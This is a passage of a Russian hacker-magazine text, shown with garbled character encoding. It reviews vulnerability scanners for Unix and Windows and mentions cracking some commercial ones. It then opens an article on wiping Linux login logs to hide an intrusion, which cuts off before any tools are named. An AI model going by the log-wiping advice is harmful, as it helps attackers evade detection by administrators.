ñîçäàåò îò÷åò, â êîòîðîì îí ðàññêà-
æåò òåáå, êàêèå óÿçâèìîñòè íàéäå-
íû â òâîåé ñèñòåìå, íàñêîëüêî îíè
ñåðüåçíû è ÷åì îïàñíû. Âîò ðàäè
ýòîãî îò÷åòà âñå è çàòåâàåòñÿ.

ÂÅËÈÊÈÉ ÑÂßÒÎÉ
Îáçîð ïðîãðàìì ñòàðòàíåì ñ ñàìîãî
äðåâíåãî è, ìîæíî ñêàçàòü, êëàññè-
÷åñêîãî èíñòðóìåíòà äëÿ ïðîâåðêè
áåçîïàñíîñòè ñåòåé è óçëîâ. Saint
(http://www.wwdsi.com/saint/) ñâîå
íàçâàíèå áåðåò îò ñîêðàùåíèÿ ïîë-
íîãî íàçâàíèÿ Security
Administrator�s Integrated Network
Tool - èíòåãðèðîâàííûé èíñòðóìåíò
àäìèíèñòðàòîðà áåçîïàñíîñòè ñåòè.
Ñâîå ïðîèñõîæäåíèå áåðåò îò äðåâ-
íåãî ñðåäñòâà ïðîâåðêè áåçîïàñíîñ-
òè ïîä íàçâàíèåì SATAN. Åãî îñî-
áåííîñòè (ôè÷è) âêëþ÷àþò ñêàíèðî-
âàíèå ñêâîçü ôàéðâîëëû, îáíîâëå-
íèå ïðîâåðîê ñ äîñîê îáúÿâëåíèé
CERT è CIAC, ÷åòûðå óðîâíÿ ñåðüåç-
íîñòè óÿçâèìîñòåé (êðàñíûé, æåë-
òûé, êîðè÷íåâûé è çåëåíûé). Äåìîí-
ñòðàöèþ ìîæíî ãëÿíóòü òóò -
http://www.wwdsi.com/demo/saint/sa
int.html, ñêà÷àòü ïðîãðàììó ìîæíî
îòñþäà - http://www.saintcorpora-
tion.com/downloads/saint-iinstall-
4.3.gz. Ïðîãðàììà êîììåð÷åñêàÿ. Íî
âïîëíå áåñïëàòíà äëÿ íåêîììåð÷åñ-
êîãî èñïîëüçîâàíèÿ. Äëÿ ðàáîòû ñ
íåþ ïîòðåáóåòñÿ web-browser. Îò÷åòû
saint âûäàåò â ôîðìàòå html, îñíîâ-
íîé èíòåðôåéñ ðàáîòû òàêæå html.

ÕÀÊÁÎÒ
Äîâîëüíî âåñåëåíüêàÿ óòèëèòà ñêà-
íèðîâàíèÿ íåêîòîðûõ äûðîê â cgi è
íåêîòîðûõ ñåðâèñàõ íàçûâàåòñÿ
hackbot (ðèñ. 1). Åå äîì ïîñòðîåí òóò:
http://ws.obit.nl. Ïî ñâîåé ñóòè ïðîã-
ðàììà ÿâëÿåòñÿ îáûêíîâåííûì perl-
ñêðèïòîì, êîòîðûé ïðîñìàòðèâàåò
óêàçàííûé óçåë íà ïðåäìåò óÿçâè-
ìîñòåé â ðÿäå ñëóæá. Òàê ÷òî óñòàíî-
âèòü è çàïóñòèòü åãî íåñëîæíî, áûë
áû perl â ñèñòåìå. Âîçìîæíî, ÷òî äëÿ
ýòîé ïðîãðàììû òåáå ïðèäåòñÿ óñòà-
íîâèòü äîïîëíèòåëüíûå perl-ìîäóëè.
Íàçâàíèå òû óâèäèøü â ðóãàíè ïðè
çàïóñêå ïðîãðàììû, à âçÿòü ìîæíî ñ
ñåðâåðà www.cpan.org, òàì õîðîøèé
ïîèñê. Ïî âèäó hackbot ìîæíî íàç-
âàòü ñêðèïò-ñêàíåðîì, ïîòîìó ÷òî îí

óìååò èñêàòü óÿçâèìîñòè â cgi. Êà-
÷àòü îòñþäà: http://ws.obit.nl/hack-
bot/hackbot-22.21.tgz.

NSAT
Ïðîãðàììà nsat (http://nsat.sf.net)
åñòü áûñòðûé, ñòàáèëüíûé ñêàíåð
áåçîïàñíîñòè, ñîçäàííûé äëÿ ïðî-
âåðêè óäàëåííûõ ñåòåé è àíàëèçà íà
íàëè÷èå óÿçâèìîñòåé è ïðîáëåì ñ
áåçîïàñíîñòüþ (ðèñ. 2). Ïðîãðàììà
óìååò ñîáèðàòü èíôîðìàöèþ îá óç-
ëàõ ñåòè íåçàâèñèìî îò íàëè÷èÿ èëè
îòñóòñòâèÿ äûðîê. Ñëèòü ìîæíî îò-
ñþäà - http://prdownloads.source-
forge.net/nsat/nsat-11.5.tgz. Â àðõèâå
ëåæàò èñõîäíûå òåêñòû, êîòîðûå
íóæíî ñêîíôèãóðèðîâàòü, à ïîòîì
ñîáðàòü è óñòàíîâèòü (configure;
make; make install), òî åñòü ñòàíäàðò-
íûì äëÿ unix-like ñèñòåì ñïîñîáîì.

NAGIOS
Ñëåäóþùàÿ ïðîãðàììà ñêàíåðîì ïî
ñóòè íå ÿâëÿåòñÿ (ðèñ. 3). Åå îñíîâ-
íîå ïðèìåíåíèå - ìîíèòîðèíã ñåòè è
ñåòåâûõ ñåðâèñîâ ïî íåñêîëüêèõ
ðàçëè÷íûì ïðîòîêîëàì (SMTP, POP3,
HTTP, NNTP, PING, etc). Ïîñìîòðåòü
íà íåå ìîæíî íà ñàéòå
http://www.nagios.org. Äîêóìåíòàöèþ
èùè òàì æå. Êàê îñíîâíîå ñðåäñòâî
ðàçâåäêè ïðîãðàììà ìàëî ïîëåçíà,
íî êàê äîïîëíèòåëüíîå - âïîëíå íè-
÷åãî. Èíòåðôåéñ ïîëüçîâàòåëÿ òðå-
áóåò íàëè÷èÿ web-browser�a.

ÎÕÎÒÍÈÊ ÇÀ ÄÛÐÀÌÈ NESSUS
Ñàìûì øèêàðíûì èíñòðóìåíòîì äëÿ
àíàëèçà óäàëåííîé ñèñòåìû âñå ìîè
çíàêîìûå Linux-àäìèíèñòðàòîðû íà-

çûâàþò ïðîãðàììó Nessus (ðèñ. 4). Åå
ðîäíîé äîì ðàñïîëîæåí ïî àäðåñó
http://www.nessus.org. Â ïðèíöèïå,
îäíà ýòà ïðîãðàììà ìîæåò ñîáîé çà-
ìåíèòü âñå âûøåïåðå÷èñëåííûå.
Óäîáñòâî è ïðîñòîòà èñïîëüçîâàíèÿ,
èíôîðìàòèâíîñòü, îãðîìíàÿ, ïîñòî-
ÿííî îáíîâëÿþùàÿñÿ áàçà óÿçâèìîñ-
òåé äåëàþò Nessus ñàìûì ëó÷øèì
èíñòðóìåíòîì äëÿ àíàëèçà è ðàçâåä-
êè ïîä Linux. Ïðîãðàììà ñîñòîèò èç
äâóõ ÷àñòåé: ñåðâåðíîé (äåìîí nes-
susd) è êëèåíòñêîé. Ñåðâåðíàÿ - ïðî-
âîäèò ñáîð èíôîðìàöèè è àíàëèç,
êëèåíòñêàÿ - ïðåäîñòàâëÿåò ðåçóëü-
òàò àíàëèçà â ÷åëîâåêî÷èòàåìîé
ôîðìå. Êðîìå âñåãî ïðî÷åãî, ê ïðîã-
ðàììå ìîæíî ïîäêëþ÷àòü ìîäóëè
äëÿ îáåñïå÷åíèÿ ëó÷øåãî êà÷åñòâà

ñáîðà è àíàëèçà äàííûõ. Íåáîëüøîé
íàáîð ìîæíî âçÿòü ñ ñàéòà ïðîåêòà.

ÏÀÐÀ ÑËÎÂ ÍÀÏÎÑËÅÄÎÊ
Ñîáðàííîé äàííûìè ïðîãðàììàìè
èíôîðìàöèåé ìîæíî ðàñïîðÿäèòü-
ñÿ ïî-ðàçíîìó. Àäìèíû òàêèì îáðà-
çîì óçíàþò î äûðàõ â ñâîåé ñèñòå-
ìå è ïðèíèìàþò ìåðû ïî èõ çàêðû-
òèþ. Íó à çëîáíûå äÿäüêè ìîãóò è
íåïðèÿòíîñòåé íàòâîðèòü. Òàê ÷òî
ñìîòðè è äóìàé ñàì, ÷òî ïî÷åì.
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Ðèñ. 2. Nsat - áûñòðûé è ñòàáèëüíûé

Ðèñ. 3. Ìîíèòîðùèê ñåòè nagios Ðèñ. 4. Nessus âåëèêèé è óæàñíûé



×òî áû òàì íå ãîâîðèëè, à îò Âèíäû íàì íå èçáàâèòüñÿ. Îíà ñòîèò è äîìà, è â îôèñå,
òàê ÷òî îñü ýòà èìååò ïîêà ïðàâî íà ñóùåñòâîâàíèå :), ïîýòîìó è àíàëèçàòîðû
áåçîïàñíîñòè ïîä íåå òàêæå èìåþò ýòî ïðàâî. Áîëåå òîãî, áåç íèõ ïðîñòî çàðåç!

òàê, ñåãîäíÿ â ìåíþ íà-
øåãî ðåñòîðàíà ñëåäó-
þùèå ïðîäóêòû: ñòàðûå

êîíè, êîòîðûå áîðîçäû íå ïîðòÿò -
Retina, nmapwin_1.3.0 è X-spider. Ê
ýòîé òåïëîé êîìïàíèè ïðèáèëèñü -
IPSwitch WhatsUp Gold 7.04, STAT
Scanner Professional 5.03 Build 1161,
The ISS Internet Scanner 6.2.1.

Íàøåìó ïîòðåáèòåëþ èçâåñòíû íå-
êîòîðûå ïðåäñòàâèòåëè äàííîãî ñå-
ìåéñòâà, ïîýòîìó íà íèõ ÿ íå áóäó
î÷åíü çàìûêàòüñÿ, à ïîäðîáíåå ðàñ-
ñêàæó î ìàëîçíàêîìûõ ïðåäñòàâèòå-
ëÿõ àíàëèçàòîðîâ.

ÍÓÌÅÐÎ ÓÍÎ

The ISS Internet Scanner 6.2.1
(Shareware)
Èñêàòü ïî àäðåñó
http://www.iss.net/.
Âåñ îêîëî 33 ìåãàáàéò.
ßçûê - àíãëèéñêèé.
Èìååò â áàçå îêîëî 6000 óÿçâè-
ìîñòåé.

ß þçàë èìåííî ýòó âåðñèþ, ïîòîìó
÷òî íàøåë ïîä íåå ëåêàðñòâî, à íà
ïîñëåäíþþ ïîêà íå íàðûë :(. Æäåì,
ïðîâèçîðîâ :). Èòàê, ñòàâèì, ëå÷èì,
ïåðåçàãðóæàåìñÿ. Ðåáóò îáÿçàòå-
ëåí, à òî îí òåáÿ çàòðàõàåò èäèîòñ-
êèìè âîïðîñàìè ïðî ODBC-øíûå
áàçû äàííûõ, â êîòîðûõ åìó ñëåäó-
åò õðàíèòü äàííûå îò ñêàíîâ è ïðî-
÷åãî. Ïðîùå ïåðåãðóçèòüñÿ - òîãäà
îí íàéäåò âñå ñàì.

Èòàê, ïðîãà ïðåäíàçíà÷åíà äëÿ ñêà-
íèðîâàíèÿ è îïðåäåëåíèÿ óÿçâèìîñ-
òåé íà: ðîóòåðàõ, âåá-ñåðâåðàõ, NT-
ñåðâåðàõ, Unix-ñåðâåðàõ, ôàéåðâîëàõ
è ðàáî÷èõ ñòàíöèÿõ. Çàïóñêàåì. Äëÿ
íà÷àëà îí ïðåäëàãàåò âûáðàòü ïîëè-
òèêó ñêàíèðîâàíèÿ: áàçà äàííûõ, ñåð-
âåð ïîä Âèíäîé, âåá-ñåðâåð ïîä Âèí-
äîé, þíèêñ-ñåðâåð, þíèêñ-âåá-ñåðâåð.
Èíòåðôåéñ - äîâîëüíî óäîáíûé, ñëå-
âà â ñòîëáèê âñÿ èíôà î äûðêàõ,
ñïðàâà îïèñàíèå ýòîé äûðêè. Ïëîõî
òîëüêî òî, ÷òî ïðèõîäèòñÿ ïîäðîáíîå
îïèñàëîâî íà áàãó èñêàòü ñàìîìó :(.

Ôè÷è: íàïèñàíèå ñîáñòâåííûõ
FlexChecks, òî áèøü ñêðèïòîâ, íàïè-
ñàííûõ íà C èëè íà Perl, êîòîðûå áó-
äóò äåëàòü èìåííî òå ïðîâåðêè, êîòî-

ðûå íóæíû èìåííî òåáå â äàííîì ñëó-
÷àå. Èìååòñÿ ïðèìåð - ïðîâåðêà ICQ
ñåðâåðà. Åñòü âîçìîæíîñòü çàïóñêà â
êîìàíäíîé ñòðîêå, ÷òî íå ìîæåò íå
ðàäîâàòü. Ðàïîðò âûäàåòñÿ äîñòàòî÷-
íî ïîäðîáíûé: ïîìèìî íåîáõîäèìîãî,
â îò÷åòå èìååòñÿ êó÷à èíôû, êîòîðàÿ
íà ïåðâûé âçãëÿä íå î÷åíü âàæíà, íî
ìîæåò è ïðèãîäèòüñÿ.

ÍÓÌÅÐÎ ÄÓÎ

Stat Scanner (Shareware).
Òûðèòü òóò: 
http://premier.harris.com/STAT.
Âåñ îêîëî 19 ìåãîâ.
ßçûê - àíãëèéñêèé.

Â ñîïðîâîäèëîâêå ãîâîðèòñÿ, ÷òî ñèñ-
òåìà èñïîëüçóåòñÿ â Àðìèè ÑØÀ, Ôå-
äåðàëüíîé ïî÷òîâîé ñëóæáå è òàê äà-
ëåå è òîìó ïîäîáíîå. Òî åñòü, âðîäå
êàê, ìîæíî è äîâåðÿòü :). Ïî êðàéíåé
ìåðå èçó÷èì ìàòåðèàëüíóþ ÷àñòü íà-
èáîëåå âåðîÿòíîãî ïðîòè... ñîþçíèêà.

Â àðõèâå áîëåå 3000 óÿçâèìîñòåé,
÷òî äëÿ ïåðâîãî ðàçà ìîæåò óäîâëåò-
âîðèòü, íî íè÷òî íå ìåøàåò êà÷íóòü
îáíîâëåíèÿ. Åñëè óäàñòñÿ íîðìàëüíî
âûëå÷èòü, ïîëó÷èøü íåìåðÿíûå ïðà-
âà - ïðàâà àðìåéñêèõ õàêåðîâ :). Òàê è
ãîâîðèò: "àðìåéñêèå ïðèâèëåãèè" :).
Åñëè íå óäàñòñÿ, ïîëó÷èøü ïðàâî íà

ñêàí îäíîé åäèíñòâåííîé ìàøèíû,
îäèí ðàç :(. Ïðîäóêò ìîùíåéøèé, íà-
âîðî÷åííåéøèé. Ìíå î÷åíü ïîíðà-
âèëñÿ. Èíòåðôåéñ ñòàíäàðòíûé äëÿ
ïîäîáíîãî ñîðòà ïðîãðàìì. Åñòü îïðå-
äåëåííûå ïðèìî÷êè, äîáàâëÿþùèå
ýòîé ïðîãðàììå ïðåëåñòè.

×òî ïîðàäîâàëî äî âèçãà - òàê ýòî
ðàïîðò! Äà óæ! Ðàïîðòóåò îí íå ïî-àð-
ìåéñêè... íåëàêîíè÷íî. Íà îäíó äûðêó
âûäàåò äî äåñÿòêà ëèíêîâ - ýêñïëîè-
òû, ïàò÷è, ìàíóàëû. Îáúÿñíåíèÿ êàæ-
äîé óÿçâèìîñòè òóò æå â íàëè÷èè, çà
áîëåå ïîäðîáíûìè ìèëîñòè ïðîñèì
íà ñàéò, ïðåäëîæåíèÿ ïðîòåñòèðîâàòü
êàæäóþ äûðêó â îòäåëüíîñòè (î÷åíü
óäîáíî, êñòàòè) - íàøåë äûðó, ïðîïàò-
÷èë, òóò æå ïðîòåñòèë, áåç íåîáõîäè-
ìîñòè ãíàòü âåñü ñêàí çàíîâî.
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ÊÒÎ ÏÎÑËÅÄÍÈÉ 
ÍÀ ÀÍÀËÈÇÛ?
Xander (net@upv.vodokanal.spb.ru,
xander@spb300.com)

È

ISS â ðàáîòå. Íå òàê âñå è ïëîõî :)

Ñóäÿ ïî âåðõíåé ñòðî÷êå - DoS ìîãó îãðåñòè ëåãêî.

ÀÍÀËÈÇÀÒÎÐÛ ÁÅÇÎÏÀÑÍÎÑÒÈ ÏÎÄ WINDOWS

Êàê ñêàçàíî
íà ñàéòå ðàç-
ðàáîò÷èêîâ: 
"X-Spider ïî
âîçìîæíîñòÿì
íå óñòóïàåò, à
ìåñòàìè è ïðå-
âîñõîäèò èçâå-
ñòíûå ñêàíåðû
áåçîïàñíîñòè

Êîëè÷åñòâî
ïðîâåðÿåìûõ
óÿçâèìîñòåé â
Retina óâåëè÷è-
âàåòñÿ ñ êàæ-
äûì äíåì, òàê
÷òî îáíîâëÿéñÿ



WASSSUP?!!
Ñëåäóþùèì ïîéäåò WhatsUp! Gold îò

ñòàðèêà Ipswitch.

WhatsUp! Gold (Shareware)
Áðàòü - www.ipswitch.com.
Äèñòðèá - îêîëî 10 ìåãîâ (çàâèñèò
îò êîìïëåêòàöèè).

Âîîáùå, âåùü äîñòàòî÷íî ñïåöè-
ôè÷íàÿ, ïîòîìó êàê íå ïðåäíàçíà÷å-
íà äëÿ àíàëèçà áåçîïàñíîñòè ìàøèí
:). Ñëûøó êðèêè: "À íà ôèãà òû òóò íàñ
ïàðèøü?" Îáúÿñíÿþ. Ïðåäíàçíà÷åíà
îíà äëÿ ïîñòðîåíèÿ êàðòû ñåòè ñ îï-
ðåäåëåíèåì ñåðâèñîâ íà çàïóùåííûõ
ìàøèíàõ. Ïîñòðîèâ êàðòó ñâîåé ñåòêè,
îãîâîðþñü ñðàçó, ïðîãà ïðåäíàçíà÷å-
íà äëÿ ëîêàëîê, (íî òû, ìàíüÿê, ìî-
æåøü, êîíå÷íî, ïîïðîáîâàòü ïîñòðî-
èòü êàðòó èíòåðíåòà, çà ÷òî òåáå îò
íàñ áóäåò áîëüøîå ñïàñèáî), òû ñìî-
æåøü áäèòü çà ñåðâèñàìè, çàïóùåí-
íûìè íà óçëàõ òâîåé ñåòè.

Äëÿ àäìèíà - ñàìîå ìèëîå äåëî, òåì
áîëåå ÷òî âñå ýòî ïðåäñòàâëÿåòñÿ â
âèäå êàðòû ñ ìàíåðíûìè èêîíêàìè,
ðàçíûìè äëÿ êàæäîé åäèíèöû, òî åñòü
ñåðâàê òû íà âèä ñðàçó îòëè÷èøü îò
ðîóòåðà. Îäíè ðàç ïîñòðîèë êàðòó, è
óæå êàê Áîã :). Òî åñòü, åñëè èñïîëüçî-
âàòü ýòó ïðîãó â ñîäðóæåñòâå ñ êàêèì-
íèáóäü ìîùíûì àíàëèçàòîðîì ñåêü-
þðíîñòè, òî â ñâÿçêå îíè âñåõ ïîðâóò.
(Ãàëàíòåðåéùèê è êàðäèíàë - ýòî ñè-
ëà! (ñ)Òðè ìóøêåòåðà). Òàêèì îáðàçîì,
çíàÿ, ÷òî íà êîìïå äåâî÷êè Ìàøè çà-
ïóùåí íåèçâåñòíî êàê î÷óòèâøèéñÿ
òàì Ìåëêîìÿãêèé âåá-ñåðâåð, òû ìî-
æåøü íå çàìîðà÷èâàòüñÿ íà çàäàíèè
â ïîëèòèêå ñêàíèðîâàíèÿ íà ïîèñê
äûðîê â sendmail. Þçàåì ñîôòèíó êàê
ñðåäñòâî àðòïîäãîòîâêè.

Íà ñêðèíå âèäíî, ÷òî ìîæíî ñåòü
ïðåäñòàâèòü â âèäå ìàòðèöû :), à ìîæ-
íî â âèäå ñïèñêà òà÷åê ñ ñåðâèñàìè,
çàïóùåííûìè íà íèõ, ÷òî, íå â ïðè-
ìåð, óäîáíåå. Ìîæíî çàäàòü ïåðèîä

îáíîâëåíèÿ èíôû, òàê ÷òî âñåãäà áó-
äåøü äåðæàòü ðóêó íà ïóëüñå, à âäðóã
êòî-òî ïîñòàâèë ñåáå FTP-øíèê, à òû
îá ýòîì íå çíàåøü. Íåõîðîøî ïîëó-
÷èòñÿ - èíôà ìèìî ïðîéäåò.

RETINA

Retina (Shareware).
Èñêàòü: http://www.eeye.com.
Âåñ ïîðÿäêà 17 ìåãàáàéòîâ.

Ðåòèíà - ýòî êëàññèêà - îíà ó íàñ
èäåò âíå êîíêóðåíöèè, êàê çàñëóæåí-
íûé âåòåðàí ñåêüþðíîãî ôðîíòà. Êàê
èçâåñòíî, ïðîäóêöèÿ ýëåêòðîííîãî
ãëàçà âñåãäà îòëè÷àëàñü çíàêîì êà÷å-
ñòâà. Êîëè÷åñòâî ïðîâåðÿåìûõ óÿçâè-
ìîñòåé óâåëè÷èâàåòñÿ ñ êàæäûì
äíåì, òàê ÷òî îáíîâëÿéñÿ. Êàê èçâåñò-
íî, Ðåòèíà îòëè÷àåòñÿ îò ìíîãèõ ñîðî-
äè÷åé èç ñâîåãî ïëåìåíè ñâîèì äâèæ-
êîì èñêóññòâåííîãî èíòåëëåêòà, êîòî-
ðûé ïîçâîëÿåò åé îïðåäåëÿòü ñåðâè-
ñû, ñòîÿùèå íà íåñòàíäàðòíûõ ïîðòàõ.
Ïî ìîåìó ìíåíèþ, î÷÷÷åíü ïîëåçíàÿ
ôè÷à, êîòîðàÿ ïîçâîëÿåò âûÿâëÿòü
îñîáî õèòðîïîïûõ þçâåðåé, ïûòàþ-
ùèõñÿ ïðèêèíóòüñÿ âåòîøüþ... Îäíîç-
íà÷íûé must have&use.

Â ñîñòàâå èìååò ñêàíåð, øàõòåðà :) -
ñïåöèàëüíûé ìîäóëü, ïðîâåðÿþùèé
áàæíûå cgi-êè è ñêðèïòû íà âåá-ñåð-
âåðàõ, òðýéñðîóòåð è ñâîÿ áðîäèëêà, ñ
ïîìîùüþ êîòîðîé, îòêðûâàÿ ñàéòû, â
îòäåëüíîì îêîøêå òû âèäèøü âñå
ññûëêè, âêëþ÷àÿ ñêðûòûå.

NMAPWIN_1.3.0

Nmapwin_1.3.0 (freeware).
Áðàòü òóò http://www.insecure.org.

À ýòî âîîáùå íå àíàëèçàòîð áåçî-
ïàñíîñòè :). Ýòî ïîðò ñêàíåð, íî â óìå-
ëûõ ðó÷îíêàõ îí ïðåâðàùàåòñÿ â
ìîùíåéøåå îðóæèå ìàññîâîãî ïîðà-

æåíèÿ. Èíòåðôåéñ - îòñóòñòâóåò. Òèïà
êó÷à çàêëàäîê, ÷åêáîêñîâ è êíîïîê.
Èç ðàçðÿäà, åñëè òû òàêîé óìíûé, ÷òî
çíàåøü ïðî nmap, òî è ïîëüçîâàòüñÿ
ñàì íàó÷èøüñÿ. ×åì ïîäêóïèë âèíäî-
âûé âàðèàíò, òàê ýòî òåì, ÷òî íå íàäî
çàïîìèíàòü âñå àòðèáóòû äëÿ çàïóñêà
â êîìàíäíîé ñòðîêå, äîñòàòî÷íî ãàëêè
ðàñêèäàòü ïî ïîëþ.

X-SPIDER

X-Spider 6.5 (freeware).
Ïðîèçâîäèòåëü - îòå÷åñòâåííûé.
Èñêàòü è çàáèðàòü òóò:
http://www.xspider.ru.
ßçûê èíòåðôåéñà - ìíîãî, 
íî ðóññêèé â íàëè÷èè 
(Åùå áû! Íàø æå ïðîäóêò!).

Ìîùíåéøèé èíñòðóìåíò. Êàê ñêàçà-
íî íà ñàéòå ðàçðàáîò÷èêîâ: "X-Spider
ïî âîçìîæíîñòÿì íå óñòóïàåò, à ìåñ-
òàìè è ïðåâîñõîäèò èçâåñòíûå ñêàíå-
ðû áåçîïàñíîñòè, òàêèå, êàê ISS
Internet Scanner, Nessus, Retina". Íà
ñëîâî íå âåðèì, âåðèì íà äåëî. À äå-
ëî ó ïàó÷àðû ñî ñëîâîì íå ðàñõîäèò-
ñÿ. Äåéñòâèòåëüíî, ìîùíåéøàÿ øòó-
êà, ïîçâîëÿþùàÿ ïîëó÷èòü èíôó î

ïðîâåðÿåìîé íà âøèâîñòü òà÷êå ñî
âñåìè ïîòðîõàìè.

Ó ïàóêà, òàêæå êàê è ó Ðåòèíû ñâîé
èíòåëëåêòóàëüíûé ïîäõîä ê îïðåäåëå-
íèþ ñåðâèñîâ, âèñÿùèõ íà íåñòàíäà-
ðòíûõ ïîðòàõ, ìîùíûé èíñòðóìåíòà-
ðèé, äëÿ îòëîâà áàæíûõ ñîñòàâëÿþ-
ùèõ íà âåá-ñåðâåðàõ è ìíîãî÷èñëåí-
íûå ñâîè ñîáñòâåííûå ðàçðàáîòêè, èñ-
ïîëüçóåìûå äëÿ ðàçâåäêè. Ïëþñ - õà-
ëÿâà äëÿ ðîññèéñêèõ ïîëüçîâàòåëåé.

ÐÅÇÞÌÅ
Äà, è ïîä Âèíäîé ìîæíî æèòü è òâî-
ðèòü... èëè òðàâèòü? Íå âàæíî... â
ïðèíöèïå :).

E
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Åñëè èñïîëüçî-
âàòü WhatsUp!
â ñîäðóæåñòâå

ñ êàêèì-íèáóäü
ìîùíûì àíà-

ëèçàòîðîì
ñåêüþðíîñòè,

òî â ñâÿçêå îíè
âñåõ ïîðâóò

Â ñîïðîâîäè-
ëîâêå ê Stat

Scanner ãîâî-
ðèòñÿ, ÷òî ñèñ-
òåìà èñïîëüçó-

åòñÿ â Àðìèè
ÑØÀ, Ôåäå-

ðàëüíîé ïî÷-
òîâîé ñëóæáå
è òàê äàëåå è

òîìó ïîäîáíîå

×óâà-à-à-à-à-à-à-àê! Õèòðàÿ ðåòèíà. Ïàó÷àðà â äåéñòâèè.

Ìèíèìàë òåõíî.



Âñå, êîìó ïðèõîäèòñÿ ñòàëêèâàòüñÿ ñ ïðîáëåìîé êîìïüþòåðíîé áåçîïàñíîñòè, çíàþò,
÷òî ãëàâíûì ïðåäìåòîì èçó÷åíèÿ ÿâëÿþòñÿ ëîãè. Äëÿ àäìèíèñòðàòîðîâ ñèñòåì ëîãè -
ñèãíàëèçàòîð äíåâíîé àêòèâíîñòè è àòàê, äëÿ õàêåðîâ - ïðåäìåò íåìåäëåííîãî
óíè÷òîæåíèÿ, äëÿ àíàëèçàòîðîâ áåçîïàñíîñòè - ãëàâíûé èñòî÷íèê èíôîðìàöèè. Íàñ,
íåñîìíåííî, èíòåðåñóåò çîëîòàÿ ñåðåäèíà, à èìåííî ñïîñîáû ÷èñòêè è óíè÷òîæåíèÿ
çàïèñåé â ëîã-ôàéëàõ, ÷åì ìû ñåãîäíÿ è çàéìåìñÿ.

ñ÷èòàþ, ÷òî âàðèàíò
ðó÷íîãî ïðîñìîòðà
ëîãîâ íåçàìåäëèòåëü-
íî îòïàäàåò. Íå ñïî-
ðþ, ÷òî â ìèðå ïîëíî

ìàçîõèñòîâ, íî óìíûå ëþäè äàëè
íàì âîçìîæíîñòü ïðîãðàììèðî-
âàòü, à ãðàìîòíûå êîäåðû íàïèñàëè
àâòîìàòè÷åñêèå òóëçû äëÿ óäàëå-
íèÿ èíôîðìàöèè â ëèíóêñîâûõ ëî-
ãàõ.

ÂÂÅÄÅÍÈÅ Â ËÎÃÈ
Íåìíîãî òåîðèè. Âñå ëîãè â *nix�àõ
äåëÿòñÿ íà äâà âèäà: òåêñòîâûå è
áèíàðíûå. Òåêñòîâûå, êàê ïðàâèëî,
ìîãóò çàïîëíÿòüñÿ ðàçëè÷íûìè
äàííûìè, êîòîðûìè ðàñïîëàãàþò
âíåøíèå ïðîãðàììû è óòèëèòû. Ãî-
ëîâíûì ìîçãîì âñåé ñèñòåìû òåêñ-
òîâûõ ëîãîâ ÿâëÿåòñÿ äåìîí sys-
logd (ëèáî åãî àëüòåðíàòèâû). Ñ åãî
ïîìîùüþ äîñòèãàåòñÿ ãèáêîå âåäå-
íèå æóðíàëîâ, à òàêæå âîçìîæ-
íîñòü çàïèñè â ëîãè ñî ñòîðîíû ëþ-
áîãî ïðèëîæåíèÿ áåç ðóòîâûõ ïðàâ
(÷åðåç ôóíêöèþ syslog()). Âäîáàâîê
ê âûøåñêàçàííîìó, àäìèíèñòðàòîð
ñèñòåìû ìîæåò èçìåíèòü äåôîëòî-
âûå íàçâàíèÿ âñåõ òåêñòîâûõ ëîãîâ
íà ëþáûå äðóãèå. Íî äëÿ íàñ óñò-
ðîéñòâî è ðàáîòà syslogd íå ÿâëÿ-
åòñÿ ãëàâíîé ïðîáëåìîé, ýòî òåìà
îòäåëüíîé ñòàòüè. Ïîýòîìó ïåðåé-
äåì ê ðàçáîðó äðóãîãî âèäà ëîãîâ.

Áèíàðíûå ëîãè � æóðíàëû äëÿ
õðàíåíèÿ èíôîðìàöèè ïî óñïåø-
íûì çàõîäàì â ñèñòåìó ñî ñòîðîíû.
Íàñ èíòåðåñóþò òðè âàæíûõ áèíàð-
íûõ æóðíàëà � /var/log/wtmp,
/var/run/utmp è /var/log/lastlog (âà-
ðèàíò Linux, â äðóãèõ ñèñòåìàõ îíè
ìîãóò íàçûâàòüñÿ ïî-äðóãîìó). Êàê

âèäèøü, ðó÷êàìè òàêèå ëîãè óæå íå
ïî÷èñòèòü ;).

ß âñòðå÷àë óìíèêîâ, êîòîðûå áî-
ðîëèñü ñ ëîãàìè ïîñëå çàõâàòà ñèñ-
òåìû ñëåäóþùèì îáðàçîì: ïðèáè-
âàëè syslogd è óíè÷òîæàëè áèíàð-
íûå æóðíàëû äåäîâñêèì ñïîñîáîì
(rm -f). Íè÷åãî óäèâèòåëüíîãî, ÷òî
íà ñëåäóþùèé äåíü àäìèíèñòðàòî-
ðû ïðîñåêàëè, ÷òî èõ ñèñòåìó ïîè-
ìåëè, è çàêðûâàëè äîñòóï ê ñèñòå-
ìå (ïðåäâàðèòåëüíî íàñòó÷àâ ãîðå-
õàêåðó ïî áàøêå).

×ÈÑÒÈÌ ÏÐÀÂÈËÜÍÎ!
Åäèíñòâåííûì è ïðàâèëüíûì âàðè-
àíòîì ÷èñòêè ëîãîâ ÿâëÿåòñÿ èñ-
ïîëüçîâàíèå ïîñòîðîííèõ òóëç,
èëè ïîïðîñòó ëîãâàéïåðîâ. Ýòà
ñòàòüÿ áûëà áû íåàêòóàëüíà, åñëè
áû íå îãðîìíûé âûáîð ñàìîïàëü-
íûõ ïðîãðàìì äëÿ ÷åðíîãî äåëà. Â

ïðîöåññå òåñòèðîâàíèÿ ñîôòà áûëî
îáíàðóæåíî ìíîæåñòâî îøèáîê â
åãî ðàáîòå, î êîòîðûõ òû, íåñîìíåí-
íî, äîëæåí çíàòü, ÷òîáû íå ïîñòà-
âèòü êðåñò íà ñâîåé æå áåçîïàñ-
íîñòè.

Èòàê, ÷òî äëÿ íàñ âàæíî â ïðîöåñ-
ñå ÷èñòêè æóðíàëîâ â ïðàâèëüíîé
îñè? Íàâñêèäêó âûäåëÿþòñÿ òðè
ãëàâíûõ êðèòåðèÿ, êîòîðûå äîëæíû
âûïîëíÿòüñÿ:

1. Íàäåæíîñòü. Ïîñëå çàïóñêà ëîã-
âàéïåðà âñå ëîãè äîëæíû áûòü êîð-
ðåêòíî âû÷èùåíû è îñòàòüñÿ äîñ-
òóïíûìè äëÿ äàëüíåéøåãî æóðíà-
ëèðîâàíèÿ.

2. Ñêîðîñòü. ß äóìàþ, òåáå íå
ïîíðàâèòñÿ, åñëè ïðîöåññ ÷èñòêè
ëîãîâ çàòÿíåòñÿ äî äâàäöàòè ìèíóò.
Ïîâåðü, òàêèå ñëó÷àè òîæå áûâàþò.

3. Ìàñêèðîâêà è ñêðûòíîñòü. Òóë-
çû íå äîëæíû îñòàâëÿòü çà ñîáîé
